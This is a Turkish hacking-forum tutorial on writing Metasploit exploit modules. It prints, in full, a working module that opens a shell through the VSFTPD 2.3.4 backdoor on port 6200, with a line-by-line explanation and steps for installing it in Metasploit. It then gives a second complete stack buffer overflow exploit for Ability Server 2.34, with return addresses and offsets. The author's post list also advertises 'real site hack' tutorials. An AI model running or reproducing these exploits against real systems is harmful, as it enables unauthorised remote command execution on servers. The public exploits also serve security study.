Metasploit'e Exploit Geliştirmek! (FTP Backdoor)

enes61501

Üye
8 Eki 2022
100
41
Elinize sağlık hocam benim iki sorum olucak
çoğu kişi ruby ile exploit yazıyo neden
ruby öğrenebiliceğim güzel bir kaynak varmı
 

Bunjo

Uzman üye
14 Ara 2020
1,581
1,876
HTTParty
Elinize sağlık hocam benim iki sorum olucak
çoğu kişi ruby ile exploit yazıyo neden
ruby öğrenebiliceğim güzel bir kaynak varmı
Teşekkürler, Türkçe kaynak pek bulamazsın, bunun için bu konuları açıyorum zaten. Ruby çok esnek bir dil olduğu için tercih ediliyor konularını okursan daha detaylı bilgi edinebilirsin.
 

şıkk

Üye
24 Eki 2023
111
51
m9RCVr.png


kbrn6ph.png


Merhabalar ben Anka Red Team'den Bunjo, bu konuda "Metasploit" aracına (yapısına) exploit nasıl geliştirilebileceğini anlatacağım.


Metasploit, içinde kendi HTTP istemcisini, socket modüllerini, çeşitli sistemler için API kodlarını barındırır.
Bu kodlar, kullanıcının exploit kodlayacağı zaman en baştan gem dosyalarını içeriye aktarıp tekrar tekrar bu modülleri kodlamaması için kullanılırlar.

Bende bu konuda bu modüllerden bazılarını nasıl kullanacağımızı ve Metasploit söz dizimine uygun bir şekilde nasıl exploit geliştirebileceğimizi anlatacağım.

Diğer Konularım:


WordPress Shell Finder Kodlamak! (Asenkron Multi-Process)

Wordpress Plugin 3DPrint Lite Exploit! (CVE-2021-4436) (Asenkron)

WordPress File Upload Checker Exploit Kodlamak! (CVE-2020-35489)

Exploit Eğitimi #8 (Shellshock (Bash Bug))

Exploit Eğitimi #7 (WordPress)

FTP Fuzzer (Exploit Eğitimi #6)

SMTP Enumeration (Exploit Eğitimi #5)

Exploit Eğitimi #4 (Her Türden)

Exploit Eğitimi #3 (Gerçek Site Hack)(Korea Telecom)

Exploit Kodlamak [Eğitim Serisi #2] (Gerçek Senaryo)

Exploit Kodlamak [Eğitim Serisi #1] (Gerçek senaryo)




kbrn6ph.png


Kod:
Ruby:
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'VSFTPD v2.3.4 Backdoor Command Execution',
      'Description'    => %q{
          This module exploits a malicious backdoor that was added to the VSFTPD download
          archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between
          June 30th 2011 and July 1st 2011 according to the most recent information
          available. This backdoor was removed on July 3rd 2011.
      },
      'Author'         => [ 'BUNJO' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'OSVDB', '73573'],
          [ 'URL', 'http://pastebin.com/AetT9sS5'],
          [ 'URL', 'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html' ],
        ],
      'Privileged'     => true,
      'Platform'       => [ 'unix' ],
      'Arch'           => ARCH_CMD,
      'Payload'        =>
        {
          'Space'    => 2000,
          'BadChars' => '',
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType'    => 'cmd_interact',
              'ConnectionType' => 'find'
            }
        },
      'Targets'        =>
        [
          [ 'Automatic', { } ],
        ],
      'DisclosureDate' => '2011-07-03',
      'DefaultTarget' => 0))

    register_options([ Opt::RPORT(21) ])
  end

  def exploit

    nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
    if nsock
      print_status("The port used by the backdoor bind listener is already open")
      handle_backdoor(nsock)
      return
    end

    # Connect to the FTP service port first
    connect

    banner = sock.get_once(-1, 30).to_s
    print_status("Banner: #{banner.strip}")

    sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n")
    resp = sock.get_once(-1, 30).to_s
    print_status("USER: #{resp.strip}")

    if resp =~ /^530 /
      print_error("This server is configured for anonymous only and the backdoor code cannot be reached")
      disconnect
      return
    end

    if resp !~ /^331 /
      print_error("This server did not respond as expected: #{resp.strip}")
      disconnect
      return
    end

    sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")

    # Do not bother reading the response from password, just try the backdoor
    nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
    if nsock
      print_good("Backdoor service has been spawned, handling...")
      handle_backdoor(nsock)
      return
    end

    disconnect

  end

  def handle_backdoor(s)

    s.put("id\n")

    r = s.get_once(-1, 5).to_s
    if r !~ /uid=/
      print_error("The service on port 6200 does not appear to be a shell")
      disconnect(s)
      return
    end

    print_good("UID: #{r.strip}")

    s.put("nohup " + payload.encoded + " >/dev/null 2>&1")
    handler(s)
  end
end


kbrn6ph.png


Metasploit Söz Dizimi

Kod açıklamasına daha detaylı değinmeden önce, Metasploit söz dizimine basit bir şekilde bakalım.

Modül Başlığı ve Tanımı:

Modül dosyasının başında, modülün adı, açıklaması ve yazar(lar)ı gibi temel bilgiler yer alır.
Bu bilgiler, modülün ne işe yaradığını ve kimler tarafından geliştirildiğini belirtir.

Ruby:
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Exploit adı',
      'Description'    => 'Exploit açıklaması',
      'Author'         => [ 'Bunjo', 'Anka Team' ],
      'License'        => MSF_LICENSE,
    ))

    register_options([ Opt::RPORT(21) ])
  end

Metasploit'in içinde barındırdığı modüllerden bahsetmiştim, aynı zamanda Metasploit kendi içinde sınıflar da barındırır.

Örneğin bir backdoor explotinin türü "Remote Exploit" türünden olacağı için Msf::Exploit::Remote sınıfı altına tanımlanır.
MetasploitModule kendi explotinizin sınıfını belirtir, kendinize göre adlandırabilirsiniz.

"include" ile Metasploit'in TCP bağlantı modülü içeriye aktarılır.

'Name' = Exploit Adı

'Description' = Exploit Açıklaması

'Author' = Exploit'in yazarı veya yazarları

'License' = Herangi bir linsans varsa onu belirtir.

Metasploit'in yukarıda olduğu şekilde kendine özgü bir şeması vardır.

Exploit ve Payload Bilgileri: Exploit ve payload (yükleme) seçenekleri ve ayarları tanımlanır.
Bu bölümde, hedef sistemdeki güvenlik açığını sömürmek için kullanılacak exploit seçenekleri ve payload seçenekleri belirtilir.

Exploit ve Payload Bilgileri:

Exploit ve payload (yükleme) seçenekleri ve ayarları tanımlanır.
Bu bölümde, hedef sistemdeki güvenlik açığını sömürmek için kullanılacak exploit seçenekleri ve payload seçenekleri belirtilir.

Ruby:
def exploit

    nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
    if nsock
      print_status("The port used by the backdoor bind listener is already open")
      handle_backdoor(nsock)
      return
    end
    
    connect

    banner = sock.get_once(-1, 30).to_s
    print_status("Banner: #{banner.strip}")

    sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n")
    resp = sock.get_once(-1, 30).to_s
    print_status("USER: #{resp.strip}")

    if resp =~ /^530 /
      print_error("This server is configured for anonymous only and the backdoor code cannot be reached")
      disconnect
      return
    end

    if resp !~ /^331 /
      print_error("This server did not respond as expected: #{resp.strip}")
      disconnect
      return
    end

    sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")
    
    nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
    if nsock
      print_good("Backdoor service has been spawned, handling...")
      handle_backdoor(nsock)
      return
    end

    disconnect

  end

Kısacası "exploit" isimli oluşturulan fonksiyonda, exploit işlemi için kullanılacak kodlar bulunur.

Payload Hazırlama ve Gönderme:

Payload'ın hazırlanması ve hedefe gönderilmesi için gerekli adımlar bu bölümde yer alır.

Ruby:
    nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
    if nsock
      print_good("Backdoor service has been spawned, handling...")
      handle_backdoor(nsock)
      return
    end

Geri Kapı (Handler) Kodları: Eğer hedef sistemde bir geri kapı açıldıysa, bu kapının yönetilmesi için gerekli kodlar bu bölümde yer alır.
Ruby:
def handle_backdoor(s)

    s.put("id\n")

    r = s.get_once(-1, 5).to_s
    if r !~ /uid=/
      print_error("The service on port 6200 does not appear to be a shell")
      disconnect(s)
      return
    end

    print_good("UID: #{r.strip}")

    s.put("nohup " + payload.encoded + " >/dev/null 2>&1")
    handler(s)
  end



kbrn6ph.png


Kod Açıklaması
Ruby:
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'VSFTPD v2.3.4 Backdoor Command Execution',
      'Description'    => %q{
          This module exploits a malicious backdoor that was added to the VSFTPD download
          archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between
          June 30th 2011 and July 1st 2011 according to the most recent information
          available. This backdoor was removed on July 3rd 2011.
      },
      'Author'         => [ 'BUNJO' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'OSVDB', '73573'],
          [ 'URL', 'http://pastebin.com/AetT9sS5'],
          [ 'URL', 'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html' ],
        ],
      'Privileged'     => true,
      'Platform'       => [ 'unix' ],
      'Arch'           => ARCH_CMD,
      'Payload'        =>
        {
          'Space'    => 2000,
          'BadChars' => '',
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType'    => 'cmd_interact',
              'ConnectionType' => 'find'
            }
        },
      'Targets'        =>
        [
          [ 'Automatic', { } ],
        ],
      'DisclosureDate' => '2011-07-03',
      'DefaultTarget' => 0))

    register_options([ Opt::RPORT(21) ])
  end

class MetasploitModule < Msf::Exploit::Remote: Bu satır, MetasploitModule adında bir sınıf tanımlar ve Msf::Exploit::Remote sınıfından kalıtım alır.
Bu, Metasploit'in uzaktan saldırı modülü mimarisini kullanarak bir saldırı modülü olduğunu belirtir.

Rank = ExcellentRanking: Bu satır, saldırının Metasploit modül kategorisindeki önemini belirler. Burada, saldırının "Mükemmel" derecelendirme aldığını belirtir.

include Msf::Exploit::Remote::Tcp: Bu satır, TCP üzerinden uzaktan saldırıları kolaylaştırmak için gerekli olan Msf::Exploit::Remote::Tcp modülünü dahil eder.

def initialize(info = {}): Bu satır, sınıfın başlatıcı metodunu tanımlar. Bu metod, modülün başlatılması ve gerekli bilgilerin tanımlanması için kullanılır.

super(update_info(info, ...)): Bu satır, üst sınıfın (Msf::Exploit::Remote) başlatıcı metodunu çağırır ve modül bilgilerini günceller.

'Name' => 'VSFTPD v2.3.4 Backdoor Command Execution': Modülün adını belirtir.

'Description' => %q{...}: Modülün açıklamasını içerir. Bu açıklama, saldırının neyi hedeflediği ve nasıl çalıştığı hakkında bilgi verir.

'Author' => [ 'BUNJO' ]: Saldırıyı geliştiren kişinin bilgisini içerir.

'License' => MSF_LICENSE: Modülün lisansını belirtir.

'References' => [...]: Saldırıyla ilgili referansları içerir, örneğin güvenlik açıklarının veritabanı girişleri veya ilgili blog yazıları.

'Privileged' => true: Saldırının yönetici ayrıcalıklarına ihtiyaç duyup duymadığını belirtir.

'Platform' => [ 'unix' ]: Saldırının hedef platformunu belirtir.

'Arch' => ARCH_CMD: Saldırının hedef mimarisini belirtir.

'Payload' => { ... }: Saldırıda kullanılacak payloadu tanımlar.

'Targets' => [...]: Saldırının hedeflerini belirtir.

'DisclosureDate' => '2011-07-03': Güvenlik açığının açıklandığı tarihi belirtir.

'DefaultTarget' => 0: Varsayılan hedefi belirtir.

register_options([ Opt::RPORT(21) ]): Seçenekleri (options) kaydeder. Bu durumda, sadece hedef makinenin dinlediği portu belirler.

Ruby:
def exploit

    nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
    if nsock
      print_status("The port used by the backdoor bind listener is already open")
      handle_backdoor(nsock)
      return
    end

    connect

    banner = sock.get_once(-1, 30).to_s
    print_status("Banner: #{banner.strip}")

    sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n")
    resp = sock.get_once(-1, 30).to_s
    print_status("USER: #{resp.strip}")

    if resp =~ /^530 /
      print_error("This server is configured for anonymous only and the backdoor code cannot be reached")
      disconnect
      return
    end

    if resp !~ /^331 /
      print_error("This server did not respond as expected: #{resp.strip}")
      disconnect
      return
    end

    sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")

    nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
    if nsock
      print_good("Backdoor service has been spawned, handling...")
      handle_backdoor(nsock)
      return
    end

    disconnect

  end


nsock = self.connect(false, {'RPORT' => 6200}) rescue nil: Öncelikle, saldırıda kullanılacak olan geri kapı bağlantısı için belirli bir portta bağlantı denemesi yapılır. Eğer bağlantı başarılı olursa (rescue bloğuna düşülmezse), zaten bir geri kapı hizmeti olduğu belirtilir ve handle_backdoor metodu çağrılır.

if nsock: Eğer geri kapı bağlantısı başarılıysa, yani hedef sunucuda zaten bir geri kapı hizmeti varsa, bunun olduğu bildirilir ve handle_backdoor metodu çağrılır.

connect: Eğer geri kapı bağlantısı sağlanamamışsa, hedef sunucuya normal bir FTP bağlantısı oluşturulur.

banner = sock.get_once(-1, 30).to_s: Sunucunun banner bilgisi alınır ve bu bilgi ekrana yazdırılır.

sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}: )\r\n"): Rastgele bir kullanıcı adı oluşturularak sunucuya gönderilir.

resp = sock.get_once(-1, 30).to_s: Sunucudan yanıt alınır.

if resp =~ /^530 /: Eğer sunucu yalnızca anonim kullanıcıya izin veriyorsa, yani kullanıcı adı ve parola ile giriş yapılamıyorsa, hata mesajı verilir ve bağlantı kapatılır.

if resp !~ /^331 /: Eğer sunucu beklenen yanıtı vermezse, hata mesajı verilir ve bağlantı kapatılır.

sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n"): Eğer sunucu beklenen yanıtı verirse, rastgele bir parola oluşturulur ve sunucuya gönderilir.

nsock = self.connect(false, {'RPORT' => 6200}) rescue nil: Bir kez daha geri kapıya bağlanma girişimi yapılır.

if nsock: Eğer bu bağlantı başarılı olursa, yani sunucuda geri kapı hizmeti başlatılabilmişse, bu durum kullanıcıya bildirilir ve handle_backdoor metodu çağrılır.

disconnect: Eğer sunucuda geri kapı hizmeti başlatılamamışsa, bağlantı kapatılır.

Ruby:
 def handle_backdoor(s)

    s.put("id\n")

    r = s.get_once(-1, 5).to_s
    if r !~ /uid=/
      print_error("The service on port 6200 does not appear to be a shell")
      disconnect(s)
      return
    end

    print_good("UID: #{r.strip}")

    s.put("nohup " + payload.encoded + " >/dev/null 2>&1")
    handler(s)
  end
end

def handle_backdoor(s): Bu metod, geri kapıya başarılı bir şekilde bağlandıktan sonra gerçekleştirilecek işlemleri içerir. s parametresi, geri kapıya bağlanmak için kullanılan soket nesnesini temsil eder.

s.put("id\n"): Bağlı olan geri kapı soketine id komutu gönderilir. Bu, kullanıcının kimlik bilgilerini almak için bir UNIX kabuğu komutudur.

r = s.get_once(-1, 5).to_s: Soketten gelen yanıt (id komutunun çıktısı) alınır. get_once metodu, soketten bir kez veri okur ve ardından bekler. -1 parametresi, tüm veriyi okumak için beklemesi gerektiğini belirtir, 5 ise beklenen maksimum süredir.

if r !~ /uid=/: Gelen yanıtta uid= ifadesi bulunamazsa, yani geri kapının bir kabuk olmadığı anlamına gelir. Bu durumda bir hata mesajı yazdırılır ve bağlantı kapatılır.

print_good("UID: #{r.strip}"): Eğer uid= ifadesi bulunursa, kullanıcının kimlik bilgisi olduğu varsayılır ve bu bilgi ekrana yazdırılır.

s.put("nohup " + payload.encoded + " >/dev/null 2>&1"): Ardından, saldırı için hazırlanmış olan payload (payload.encoded) geri kapıya gönderilir. nohup komutu, saldırıyı arka planda çalıştırır ve çıktıyı (stdout ve stderr) /dev/null dosyasına yönlendirir, böylece geri kapı soketi kapatılsa bile saldırı devam eder.

handler(s): Son olarak, handler metodu çağrılarak, geri kapıdan alınan kontrol sağlanır. Bu sayede, saldırı sonucu hedef sistem üzerindeki kontrol sağlanabilir.

end: handle_backdoor metodunun sonunu belirtir.

end: MetasploitModule sınıfının ve dolayısıyla kod bloğunun sonunu belirtir.



kbrn6ph.png


Exploit'in Metasploit'e Yüklenmesi

Öncelikle, exploit kodunu bir dosyaya yapıştırın ve .rb uzantılı olarak kaydedin. Örneğin, backdoor_bunjo.rb şeklinde bir dosya adı kullanabilirsiniz.

f8hx0r7.png


Kaydettiğiniz dosyayı Metasploit'in exploitlerinin bulunduğu dizine kopyalayın. Bu dizin genellikle Metasploit'in kurulu olduğu dizinde modules/exploits şeklindedir. Örneğin, Linux'ta /usr/share/metasploit-framework/modules/exploits/linux/ftp dizinine kopyalayabilirsiniz.


a3rkept.png

CoffeeScript:
┌──(root㉿bunjo)-[~/Desktop]
└─# mv backdoor_bunjo.rb /usr/share/metasploit-framework/modules/exploits/linux/ftp
                                                                                     
┌──(root㉿bunjo)-[~/Desktop]
└─# ls /usr/share/metasploit-framework/modules/exploits/linux/ftp | grep backdoor
backdoor_bunjo.rb

Metasploit'in terminal arabirimi olan msfconsole komutunu çalıştırın.

kp40xic.png


Metasploit konsolunda, exploit modülünü yüklemek için use komutunu kullanın.

mlorvzv.png


Exploit için ayarları görüntülemek.

jass0f3.png


Şeklinde exploitimizi yüklemeyi tamamladık.



kbrn6ph.png


Zafiyetli Port Tespiti

7nw62aw.png



kbrn6ph.png


Exploit Kullanımı

c29531l.png



kbrn6ph.png


İncelemeniz İçin Başka Bir Örnek
Ruby:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Ftp

 def initialize(info = {})
    super(update_info(
      info,
      'Name'            => 'Ability Server 2.34 STOR Command Stack Buffer Overflow',
      'Description'     => %q{
        This module exploits a stack-based buffer overflow in Ability Server 2.34.
        Ability Server fails to check input size when parsing 'STOR' and 'APPE' commands,
        which leads to a stack based buffer overflow. This plugin uses the 'STOR' command.

        The vulnerability has been confirmed on version 2.34 and has also been reported
        in version 2.25 and 2.32. Other versions may also be affected.},
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'muts',            # Initial discovery
          'Dark Eagle',      # same as muts
          'Peter Osterberg', # Metasploit
        ],
      'References'      =>
        [
          [ 'CVE', '2004-1626' ],
          [ 'OSVDB', '11030'],
          [ 'EDB', '588'],
        ],
      'Platform'       => %w{ win },
      'Targets'        =>
        [
          [
            'Windows XP SP2 ENG',
            {
              #JMP ESP  (MFC42.dll. Addr remains unchanged until a patched SP3)
              'Ret' => 0x73E32ECF,
              'Offset' => 966
            }
          ],
          [
            'Windows XP SP3 ENG',
            {
              #JMP ESP  (USER32.dll. Unchanged unpatched SP3 - fully patched)
              'Ret' => 0x7E429353,
              'Offset' => 966
            }
          ],
        ],
      'DefaultTarget'   => 0,
      'DisclosureDate' => 'Oct 22 2004'
    ))

    register_options(
      [
        Opt::RPORT(21),
        OptString.new('FTPUSER', [ true, 'Valid FTP username', 'ftp' ]),
        OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'ftp' ])
      ], self.class)
  end

  def check
    connect
    disconnect
    if banner =~ /Ability Server 2\.34/
      return Exploit::CheckCode::Appears
    else
      if banner =~ /Ability Server/
        return Exploit::CheckCode::Detected
      end
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    c = connect_login
    return if not c

    myhost = datastore['LHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['LHOST']

    # Take client IP address + FTP user lengths into account for EIP offset
    padd_size = target['Offset'] + (13 - myhost.length) + (3 - datastore['FTPUSER'].length)
    junk = rand_text_alpha(padd_size)

    sploit = junk
    sploit << [target.ret].pack('V')
    sploit << make_nops(32)
    sploit << payload.encoded
    sploit << rand_text_alpha(sploit.length)

    send_cmd(['STOR', sploit], false)
    handler
    disconnect
  end
end

kbrn6ph.png


Basir bir örnek üzerinden detaylıca anlatmaya çalıştım, toxic yorum yapmak yerine beğenmediğiniz yerleri kendiniz anlatabilirsiniz.

Emeğe karşılık konuyu beğenebilir ve mesaj yazabilirsiniz. Okuyan herkese teşekkür ederim.
Emeğine sağlık
 

Çokgen

Katılımcı Üye
4 Eyl 2023
412
196
Ben böyle bir konuyu nasıl görmemişim şaşırdım(aktif değildim). Ellerinize sağlık hocam. Bu kaliteli konu ne:love:
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.